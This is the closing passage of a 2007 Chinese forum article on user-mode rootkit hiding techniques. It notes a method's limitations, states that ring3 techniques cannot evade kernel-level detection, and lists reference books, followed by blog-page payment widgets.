  ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
      end  start
  4. 局限性:有时会遇到申请内存失败。
  
   总结:以上的几种方法,相互配合将发挥更为强大的力量。但由于都是动作在 ring3 ,有着先天不足的缺点,都逃不过内核模块的监测。
    
   参考文献: <<Rootkits: Subverting the Windows Kernel>>  一本专门介绍 rootkits 的好书  可在网上 baidu
            <<Win32 汇编程序设计 >>  罗云彬
【版权声明】 本文原创于看雪技术论坛,一蓑烟雨,  转载请注明作者并保持文章的完整 谢谢 !
 
 2007年04月08日 22:15:49
 
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值